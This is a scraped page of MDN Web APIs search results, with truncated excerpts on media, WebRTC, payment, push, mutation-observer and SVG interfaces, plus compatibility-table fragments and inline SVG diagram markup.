...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimentalchrome full support 42edge full support ≤18firefox ?
...And 3 more matches
MediaKeyStatusMap.entries() - Web APIs
the entries() read-only property of the mediakeystatusmap interface returns a new iterator object, containing an array of [key, value] pairs for each element in the status map, in insertion order.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetentries experimentalchrome full support 42edge full support 16firefox ?
...And 3 more matches
MediaKeyStatusMap.keys() - Web APIs
the keys property of the mediakeystatusmap interface returns a new iterator object, containing keys for each element in the status map, in insertion order.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeys experimentalchrome full support 42edge full support 16firefox ?
...And 3 more matches
MediaKeyStatusMap.values() - Web APIs
the values property of the mediakeystatusmap interface returns a new iterator object, containing values for each element in the status map, in insertion order.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvalues experimentalchrome full support 42edge full support 16firefox ?
...And 3 more matches
MediaRecorder.ondataavailable - Web APIs
when mediarecorder.stop() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered in a blob; after this, capturing ends.
... when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a new blob is created and media capture continues into that blob.
...that means that each blob will have a specific time duration (except the last blob, which might be shorter, since it would be whatever is left over since the last event).
...And 3 more matches
MediaSession.playbackState - Web APIs
playing the browser's media session is currently playing media, which can be paused.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetplaybackstate experimentalchrome full support 73edge full support ≤79firefox no support noie no support noopera full support yessafari ?
...And 3 more matches
MediaStream.onaddtrack - Web APIs
the mediastream.onaddtrack property is an eventhandler which specifies a function to be called when the addtrack event occurs on a mediastream instance.
...this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... syntax mediastream.onaddtrack = eventhandler; value this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the addtrack event which has occurred.
...And 3 more matches
MediaStream.onremovetrack - Web APIs
the mediastream.onremovetrack property is an eventhandler which specifies a function to be called when the removetrack event occurs on a mediastream instance.
...this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... syntax mediastream.onremovetrack = eventhandler; value this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the removetrack event which has occurred.
...And 3 more matches
MediaStream - Web APIs
a stream consists of several tracks such as video or audio tracks.
... each track is specified as an instance of mediastreamtrack.you can obtain a mediastream object either by using the constructor or by calling mediadevices.getusermedia().
...you can create an empty stream, a stream which is based upon an existing stream, or a stream that contains a specified list of tracks (specified as an array of mediastreamtrack objects).
...And 3 more matches
MediaStreamTrack.enabled - Web APIs
the enabled property on the mediastreamtrack interface is a boolean value which is true if the track is allowed to render the source stream or false if it is not.
... in the case of audio, a disabled track generates frames of silence (that is, frames in which every sample's value is 0).
... the value of enabled, in essence, represents what a typical user would consider the muting state for a track, whereas the muted property indicates a state in which the track is temporarily unable to output data, such as a scenario in which frames have been lost in transit.
...And 3 more matches
Media Session API - Web APIs
the aim of this is allowing users to know what's playing, and to control it, without opening the specific page that launched it.
... media session concepts and usage the mediametadata interface lets a web site provide rich metadata to the platform ui for media that is playing.
...for example, to set the current state of the media session to playing: navigator.mediasession.playbackstate = "playing"; interfaces mediametadata allows a web page to provide rich media metadata, for display in a platform ui.
...And 3 more matches
Metadata.modificationTime - Web APIs
the read-only modificationtime property of the metadata interface is a date object which specifies the date and time the file system entry (or the data referenced by the entry) was last modified.a file system entry is considered to have been modified if the metadata or the contents of the referenced file (or directory, or whatever other kind of file system entry might exist on the platform in use) has changed.
... syntax var modificationtime = metadata.modificationtime; value a date timestamp indicating when the file system entry was last changed.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
msPlayToPreferredSourceUri - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msplaytopreferredsourceuri is a read/write property which gets or sets the path to the preferred media source.
... this enables the playto target device to stream the media content, which can be drm protected, from a different location, such as a cloud media server.
...And 3 more matches
MutationObserver.takeRecords() - Web APIs
the mutationobserver method takerecords() returns a list of all matching dom changes that have been detected but not yet processed by the observer's callback function, leaving the mutation queue empty.
... the most common use case for this is to immediately fetch all pending mutation records immediately prior to disconnecting the observer, so that any pending mutations can be processed when stopping down the observer.
... return value an array mutationrecord objects, each describing one change applied to the observed portion of the document's dom tree.
...And 3 more matches
MutationObserverInit.subtree - Web APIs
the default value, false, indicates only the target node itself is to be monitored for changes.
... subtree can be used in concert with the other options to extend monitoring of attributes, text content, and child lists to the entire subtree rooted at the target node.
...the default, false, indicates that only the target node specified when calling mutationobserver.observe() is to be monitored for changes.
...And 3 more matches
Using Navigation Timing - Web APIs
unlike other tools or libraries, the navigation timing api lets you gather information that only the browser can provide at a level of accuracy much improved over other techniques.
...for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by inserting it into an element.
... html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", sans-serif; } in tandem with appropriate html and css, the result is: the values listed are for the <iframe> in which the sample is presented above.
...And 3 more matches
NavigatorID.userAgent - Web APIs
also keep in mind that users of a browser can change the value of this field if they want (ua spoofing).
...for example: in firefox, you can change the preference general.useragent.override in about:config.
... some firefox extensions do that; however, this only changes the http header that gets sent, and doesn't affect browser detection performed by javascript code.
...And 3 more matches
Node.cloneNode() - Web APIs
WebAPINodecloneNode
the node.clonenode() method returns a duplicate of the node on which this method was called.
... the newclone has no parent and is not part of the document, until it is added to another node that is part of the document (using node.appendchild() or a similar method).
... deep optional* if true, then node and its whole subtree—including text that may be in child text nodes—is also copied.
...And 3 more matches
Node.previousSibling - Web APIs
the node.previoussibling read-only property returns the node immediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list.
...therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get.
... to navigate the opposite way through the child nodes list use node.nextsibling.
...And 3 more matches
NodeIterator - Web APIs
non-matching nodes are skipped, but their children may be included, if relevant.
...since attributes are never children of other nodes, they do not appear when traversing over the document tree.
... nodeiterator.referencenode read only returns the node to which the iterator is anchored.
...And 3 more matches
PannerNode.coneInnerAngle - Web APIs
the coneinnerangle property of the pannernode interface is a double value describing the angle, in degrees, of a cone inside of which there will be no volume reduction.
... example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians.
...And 3 more matches
PannerNode.coneOuterAngle - Web APIs
the coneouterangle property of the pannernode interface is a double value describing the angle, in degrees, of a cone outside of which the volume will be reduced by a constant value, defined by the coneoutergain property.
... example in this example, we'll demonstrate how changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...the x and z components are always at a 90° to each other, so we can use the sine and cosine functions, which are offset by the same amount in radians.
...And 3 more matches
PaymentRequest.canMakePayment() - Web APIs
}) .catch( error => { ...
... parameters none examples in the following example, is excerpted from a demo that asynchronously builds a paymentrequest object for both apple pay and credit cards.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
PaymentRequestUpdateEvent.updateWith() - Web APIs
syntax paymentrequestupdateevent.updatewith(details); parameters details a paymentdetailsupdate object specifying the changes applied to the payment request: displayitems optional an array of paymentitem objects, each describing one line item for the payment request.
... modifiers optional an array of paymentdetailsmodifier objects, each describing a modifier for particular payment method identifiers.
... shippingaddresserrors optional an addresserrors object which includes an error message for each property of the shipping address that could not be validated.
...And 3 more matches
PaymentRequestUpdateEvent - Web APIs
the paymentrequestupdateevent interface is used for events sent to a paymentrequest instance when changes are made to shipping-related information for a pending paymentrequest.
... those events are: shippingaddresschange secure context dispatched whenever the user changes their shipping address.
... also available using the onshippingaddresschange event handler property.
...And 3 more matches
PaymentResponse.details - Web APIs
the details read-only property of the paymentresponse interface returns a json-serializable object that provides a payment method specific message used by the merchant to process the transaction and determine a successful funds transfer.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdetailschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
PaymentResponse - Web APIs
properties paymentresponse.details read only secure context returns a json-serializable object that provides a payment method specific message used by the merchant to process the transaction and determine successful fund transfer.
... methods paymentresponse.retry() secure context if something is wrong with the payment response's data (and there is a recoverable error), this method allows a merchant to request that the user retry the payment.
... the method takes an object as argument, which is used to signal to the user exactly what is wrong with the payment response so they can try to correct any issues.
...And 3 more matches
PointerEvent.getCoalescedEvents() - Web APIs
the getcoalescedevents() method of the pointerevent interface returns a sequence of all pointerevent instances that were coalesced into the dispatched pointermove event.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcoalescedevents experimentalchrome full support 58edge full support 79firefox full support 59ie no support noopera full support 45safari no support nowebview android full support 58chrome android full support 58firefox android partial support 59disabled ...
...And 3 more matches
PromiseRejectionEvent() - Web APIs
the promiserejectionevent() constructor returns a newly created promiserejectionevent, which represents events fired when a javascript promise is rejected.
... with promise rejection events, it becomes possible to detect and report promises which fail and whose failures go unnoticed.
...this is case-sensitive and should be one of "rejectionhandled" or "unhandledrejection", to match the event names of the possible (non-synthetic) promiserejectionevent events that user agents can actually fire).
...And 3 more matches
PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable() - Web APIs
isuserverifyingplatformauthenticatoravailable() is a static method of the publickeycredential interface that returns a promise which resolves to true if a user-verifying platform authenticator is available.
... return value a promise which resolves to a boolean indicating whether or a not a user-verifying platform authenticator is available.
... as of today (march 2019), this is basically indicating if windows hello may be used with the web authentication api and that the user has accepted its use.
...And 3 more matches
PublicKeyCredentialCreationOptions.attestation - Web APIs
which device they are using).
... syntax attestation = publickeycredentialcreationoptions.attestation value a string which may be "none": the relying party is not interested in this attestation.
... this avoids making a check with the attestation certificate authority and asking the user consent for sharing identifying information.
...And 3 more matches
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
syntax authenticatorselection = publickeycredentialcreationoptions.authenticatorselection value an object with the following properties: authenticatorattachmentoptional a string which is either "platform" or "cross-platform".
... the former describes an authenticator which is bound to the client and which is generally not removable.
... the latter describes a device which may be used across different platform (such as a usb or nfc device).
...And 3 more matches
PushEvent.PushEvent() - Web APIs
this can be push or pushsubscriptionchange.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...And 3 more matches
PushEvent.data - Web APIs
WebAPIPushEventdata
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications spe...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...And 3 more matches
PushManager.hasPermission() - Web APIs
the pushmanager.haspermission() method of the pushmanager interface returns a promise that resolves to the pushpermissionstatus of the requesting webapp, which will be one of granted, denied, or default.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
...And 3 more matches
PushSubscription.getKey() - Web APIs
the getkey() method of the pushsubscription interface returns an arraybuffer representing a client public key, which can then be sent to a server and used in encrypting push message data.
... example reg.pushmanager.getsubscription() .then(function(subscription) { // enable any ui which subscribes / unsubscribes from // push messages.
... subbtn.disabled = false; if (!subscription) { console.log('not yet subscribed to push') // we aren't subscribed to push, so set ui // to allow the user to enable push return; } // set your ui to show they have subscribed for // push messages subbtn.textcontent = 'unsubscribe from push messaging'; ispushenabled = true; // initialize status, which includes setting ui elements for subscribed status // and updating subscribers list via push var endpoint = subscription.endpoint; var key = subscription.getkey('p256dh'); var auth = subscription.getkey('auth'); ...
...And 3 more matches
Web Push API Notifications best practices - Web APIs
searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest news, or receive links to recommended products.
... the dark side their novelty provides a new and unexploited opportunity for enterprising sites to reach potential customers.
... has the customer switched tabs to answer an email?
...And 3 more matches
RTCConfiguration.iceServers - Web APIs
the rtcconfiguration dictionary's iceservers property is an array of rtciceserver objects, each of which describes a single stun or turn server to use for negotiation purposes.
...]; value an array of zero or more rtciceserver objects, each of which describes one stun or turn server for the ice agent to use during the connection's negotiation.
... each object must at least have an urls property, which is an array of one or more strings, each providing one server's url.
...And 3 more matches
RTCIceCandidate.address - Web APIs
the rtcicecandidate interface's read-only address property is a string providing the address of the device which is the source of the candidate.
... syntax var address = rtcicecandidate.address; value a domstring providing the ip address from which the candidate comes.
... applications being built with user privacy and security in mind can choose to limit the permitted candidates to relay candidates only.
...And 3 more matches
RTCIceCandidateStats.networkType - Web APIs
the vpn obscures the underlying network type, which is not discernible.
... unknown the user's browser is unable or unwilling to identify the underlying connection technology used by the described connection.
... this may be because the browser isn't able to determine the network type for some reason or it may be intentionally getting obscured for security reasons, such as to avoid device fingerprinting.
...And 3 more matches
RTCIceCandidateStats - Web APIs
candidatetype optional a string matching one of the values in the rtcicecandidatetype enumerated type, indicating what kind of candidate the object provides statistics for.
... networktype optional a string from the rtcnetworktype enumerated type which indicates the type of interface used for a local candidate.
... url optional for local candidates, the url property is the url of the ice server from which the candidate was received.
...And 3 more matches
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
an fec packet provides parity information which can be used to attempt to reconstruct rtp data packets which have been corrupted in transit.
... syntax var fecpacketsreceived = rtcinboundrtpstreamstats.fecpacketsreceived; value an unsigned integer value which indicates the total number of fec packets which have been recieved from the remote peer during this rtp session.
... forward error correction uses an exclusive-or method to perform parity checks on the received data.
...And 3 more matches
RTCPeerConnection.connectionState - Web APIs
when this property's value changes, a connectionstatechange event is sent to the rtcpeerconnection instance.
... rtcpeerconnectionstate enum the rtcpeerconnectionstate enum defines string constants which describe states in which the rtcpeerconnection may be.
...this state essentially represents the aggregate state of all ice transports (which are of type rtcicetransport or rtcdtlstransport) being used by the connection.
...And 3 more matches
RTCPeerConnection.onicecandidate - Web APIs
the rtcpeerconnection property onicecandidate property is an eventhandler which specifies a function to be called when the icecandidate event occurs on an rtcpeerconnection instance.
...this lets the ice agent perform negotiation with the remote peer without the browser itself needing to know any specifics about the technology being used for signaling; simply implement this method to use whatever messaging technology you choose to send the ice candidate to the remote peer.
... syntax rtcpeerconnection.onicecandidate = eventhandler; value this should be set to a function which you provide that accepts as input an rtcpeerconnectioniceevent object representing the icecandidate event.
...And 3 more matches
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations.
... the error which occurred involved this address.
... syntax let address = rtcpeerconnectioniceerrorevent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred.
...And 3 more matches
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
the rtcremoteoutboundrtpstreamstats property remotetimestamp indicates the timestamp on the remote peer at which these statistics were sent.
... this differs from timestamp, which indicates the time at which the statistics were generated or received locally.
... syntax let remotetimestamp = rtcremoteoutboundrtpstreamstats.remotetimestamp; value a domhighrestimestamp value indicating the timestamp on the remote peer at which it sent these statistics.
...And 3 more matches
RTCRtpContributingSource.audioLevel - Web APIs
syntax var audiolevel = rtcrtpcontributingsource.audiolevel value a double-precision floating-point number which indicates the volume level of the audio in the most recently received rtp packet from the source described by the rtcrtpcontributingsource.
... this value, which is in the range 0.0 to 1.0, is on a linear scale and its value is defined in dbov, or decibels (overload).
... this is the amplitude relative to the point at which clipping of the audio begins to occur.
...And 3 more matches
RTCRtpSender - Web APIs
you can also obtain access to an rtcdtmfsender which can be used to send dtmf codes (to simulate the user pressing buttons on a telephone's dial pad) to the remote peer.
... properties rtcrtpsender.dtmf read only an rtcdtmfsender which can be used to send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtpsender object.
... rtcrtpsender.track read only the mediastreamtrack which is being handled by the rtcrtpsender.
...And 3 more matches
RTCRtpTransceiver.direction - Web APIs
the rtcrtptransceiver property direction is a string which indicates the transceiver's preferred directionality.
... syntax var direction = rtcrtptransceiver.direction value a domstring whose value is one of the strings which are a member of the rtcrtptransceiverdirection enumerated type, indicating the transceiver's preferred direction.
...each describes how the transceiver's associated rtcrtpsender and rtcrtpreceiver behave as shown in the table below.
...And 3 more matches
RTCRtpTransceiver - Web APIs
each sdp media section describes one bidirectional srtp ("secure real time protocol") stream (excepting the media section for rtcdatachannel, if present).
...each non-disabled srtp media section is always represented by exactly one transceiver.
... a transceiver is uniquely identified using its mid property, which is the same as the media id (mid) of its corresponding m-line.
...And 3 more matches
RTCSctpTransport - Web APIs
the rtcsctptransport interface provides information which describes a stream control transmission protocol (sctp) transport.
... this provides information about limitations of the transport, but also provides a way to access the underlying datagram transport layer security (dtls) transport over which sctp packets for all of an rtcpeerconnection's data channels are sent and received.
... possibly the most useful property on this interface is its maxmessagesize property, which you can use to determine the upper limit on the size of messages you can send over a data channel on the peer connection.
...And 3 more matches
RadioNodeList - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/nodelist" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">nodelist</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/radionodelist" target="_top"><rect x="121" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="c...
...onsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">radionodelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties the radionodelist interface inherits the properties of nodelist.
... radionodelist.value if the underlying element collection contains radio buttons, the value property represents the checked radio button.
...And 3 more matches
Request.destination - Web APIs
the string must be one of those found in the requestdestination enumerated type or the empty string, which is the default value.
... the destination is used by the user agent to, for example, help determine which set of rules to follow for cors purposes, or how to navigate any complicated code paths that affect how specific types of request get handled.
...others are script-based, in which case the received data is delivered to a script by calling it and passing the data along.
...And 3 more matches
Response.type - Web APIs
WebAPIResponsetype
opaqueredirect: the fetch request was made with redirect: "manual".
... note: an "error" response never really gets exposed to script: such a response to a fetch() would reject the promise.
... example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path.
...And 3 more matches
SVGAElement - Web APIs
svgaelement.download see htmlanchorelement.download.
... svgaelement.href see htmlanchorelement.href.
... svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background).
...And 3 more matches
SVGAnimationElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svganimationelement" target="_top"><rect x="291" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="386" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
...And 3 more matches
SVGEllipseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGLineElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 3 more matches
SVGRectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
